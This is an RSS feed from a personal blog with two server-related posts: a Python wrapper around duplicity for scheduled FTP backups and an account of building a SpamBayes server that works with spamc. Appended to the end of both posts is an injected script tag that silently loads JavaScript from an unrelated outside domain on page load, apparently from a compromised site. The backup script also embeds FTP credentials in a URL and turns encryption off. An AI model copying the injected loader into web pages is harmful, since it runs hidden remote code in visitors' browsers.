<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; server</title>
	<atom:link href="http://www.larsen-b.com/tags/server/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Automatic FTP backup for servers</title>
		<link>http://www.larsen-b.com/Article/409.html</link>
		<comments>http://www.larsen-b.com/Article/409.html#comments</comments>
		<pubDate>Sat, 28 Jan 2012 17:07:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[duplicity]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[server]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=409</guid>
		<description><![CDATA[Today I need to find a way to do some backup on an FTP server. Of course there is a lot of way to do that, but I need something automatic that does some full (monthly) and incremental (daily) backup. &#8230; <a href="http://www.larsen-b.com/Article/409.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Today I need to find a way to do some backup on an FTP server. Of course there is a lot of way to do that, but I need something automatic that does some full (monthly) and incremental (daily) backup. I decided to use <a href="http://duplicity.nongnu.org/">duplicity</a> because it&#8217;s a really simple and effective software. The main issue, is that duplicity command line is a bit hard to remember for me. So why not simply write a simple python script that does the job for me.</p>
<p>So here, we are :</p>
<pre><span style="color: #444444;">#!/usr/bin/python </span>
# Edit DATA and DEST
<span style="color: #2040a0;">DATA</span><span style="color: #4444ff;">=</span><span style="color: #008000;">'/var/www'</span>
<span style="color: #2040a0;">DEST</span><span style="color: #4444ff;">=</span><span style="color: #008000;">'ftp://username:password@ftp.server/backup'</span>

<strong>import</strong> <span style="color: #2040a0;">os</span>
<strong>import</strong> <span style="color: #2040a0;">sys</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">backup</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">b_type</span><span style="color: #4444ff;">=</span><span style="color: #008000;">'incr'</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">dup_cmd</span> <span style="color: #4444ff;">=</span><span style="color: #008000;">'nice -n 19 duplicity %s  --volsize 512 --no-encryption --asynchronous-upload '</span> <span style="color: #4444ff;">%</span> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">b_type</span>,<span style="color: #4444ff;">)</span>
    <span style="color: #2040a0;">temp</span> <span style="color: #4444ff;">=</span> <span style="color: #008000;">'%s %s %s'</span> <span style="color: #4444ff;">%</span> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">dup_cmd</span>,<span style="color: #2040a0;">DATA</span>,<span style="color: #2040a0;">DEST</span><span style="color: #4444ff;">)</span>
    <span style="color: #2040a0;">os</span>.<span style="color: #2040a0;">system</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">temp</span><span style="color: #4444ff;">)</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">info</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">dup_cmd</span><span style="color: #4444ff;">=</span><span style="color: #008000;">'duplicity collection-status  %s'</span> <span style="color: #4444ff;">%</span> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">DEST</span><span style="color: #4444ff;">)</span>
    <span style="color: #2040a0;">os</span>.<span style="color: #2040a0;">system</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">dup_cmd</span><span style="color: #4444ff;">)</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">list_files</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">dup_cmd</span><span style="color: #4444ff;">=</span><span style="color: #008000;">'duplicity list-current-files  %s'</span> <span style="color: #4444ff;">%</span> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">DEST</span><span style="color: #4444ff;">)</span>
    <span style="color: #2040a0;">os</span>.<span style="color: #2040a0;">system</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">dup_cmd</span><span style="color: #4444ff;">)</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">clean</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">dup_cmd</span><span style="color: #4444ff;">=</span><span style="color: #008000;">'duplicity remove-all-but-n-full 1 --force %s'</span> <span style="color: #4444ff;">%</span> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">DEST</span><span style="color: #4444ff;">)</span>
    <span style="color: #2040a0;">os</span>.<span style="color: #2040a0;">system</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">dup_cmd</span><span style="color: #4444ff;">)</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">usage</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
    <strong>print</strong> <span style="color: #008000;">"%s [-incr|-full|-list|-info|-clean]"</span> <span style="color: #4444ff;">%</span> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">0</span><span style="color: #4444ff;">]</span>

<strong>if</strong> <span style="color: #2040a0;">__name__</span><span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span><span style="color: #008000;">'__main__'</span><span style="color: #4444ff;">:</span>
    <strong>if</strong> <span style="color: #2040a0;">len</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">&gt;</span> <span style="color: #ff0000;">1</span><span style="color: #4444ff;">:</span>
        <strong>if</strong> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #008000;">'-incr'</span><span style="color: #4444ff;">:</span>
            <span style="color: #2040a0;">backup</span><span style="color: #4444ff;">(</span><span style="color: #008000;">'inc'</span><span style="color: #4444ff;">)</span>
        <strong>elif</strong> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #008000;">'-full'</span><span style="color: #4444ff;">:</span>
            <span style="color: #2040a0;">backup</span><span style="color: #4444ff;">(</span><span style="color: #008000;">'full'</span><span style="color: #4444ff;">)</span>
        <strong>elif</strong> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #008000;">'-info'</span><span style="color: #4444ff;">:</span>
            <span style="color: #2040a0;">info</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
        <strong>elif</strong> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #008000;">'-list'</span><span style="color: #4444ff;">:</span>
            <span style="color: #2040a0;">list_files</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
        <strong>elif</strong> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #008000;">'-clean'</span><span style="color: #4444ff;">:</span>
            <span style="color: #2040a0;">clean</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
        <strong>else</strong><span style="color: #4444ff;">:</span>
            <span style="color: #2040a0;">usage</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
    <strong>else</strong><span style="color: #4444ff;">:</span>
        <span style="color: #2040a0;">usage</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span></pre>
<p>Please note that I disabled the PGP encryption for this backup. Mainly because, I don&#8217;t want to deal w/ lost keys when I will need to restore the backup. But this can be done easily. I will post a complete guide if someone ask.</p>
<p>The next step call the script in cron.d for example with something like this : <em>30  3   *  *  * </em></p>
<p><strong>Feel happy no more stress with backup ;)</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/409.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>SpamBayes server compliant w/ spamassassin</title>
		<link>http://www.larsen-b.com/Article/112.html</link>
		<comments>http://www.larsen-b.com/Article/112.html#comments</comments>
		<pubDate>Sat, 24 Apr 2004 20:10:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[bayesian]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I&#8217;m using spambayes for a long time now. But when i decide to install it for all the curent users of my setup (w/ some virtual domains..), i just discover that spambayes don&#8217;t have a system-wide deamon like spamassasin (spamd). &#8230; <a href="http://www.larsen-b.com/Article/112.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I&#8217;m using spambayes for a long time now. But when i decide to install it for all the curent users of my setup (w/ some virtual domains..), i just discover that spambayes don&#8217;t have a system-wide deamon like spamassasin (spamd).</p>
<p>So the first try:</p>
<ul class="simple">
<li>install spamassassin :) .. This mail filtering is just a bulshit ! Even w/ the training done on a mail, it achieve to deliver it as &#8216;unsure spam&#8217; !!</li>
<li>put spamassin away .. but keep piece :)</li>
</ul>
<p>I first decided to write another client / server for spambayes. but looking at all the stuff writen in spamc (spamassassin client) i discover i will need a lot of nights (i&#8217;m not a C guru . even if the little try i wrote works perferctly )</p>
<p>Nice try, but why i shouldn&#8217;t simply write a server that use spamc as client ? .. could be really easy and efficient too (spamc is really efficient) ..</p>
<p>i just finish to write <a class="reference" href="http://mail.python.org/pipermail/spambayes-dev/2004-April/002748.html">this</a> and  submit to the dev list<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/112.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
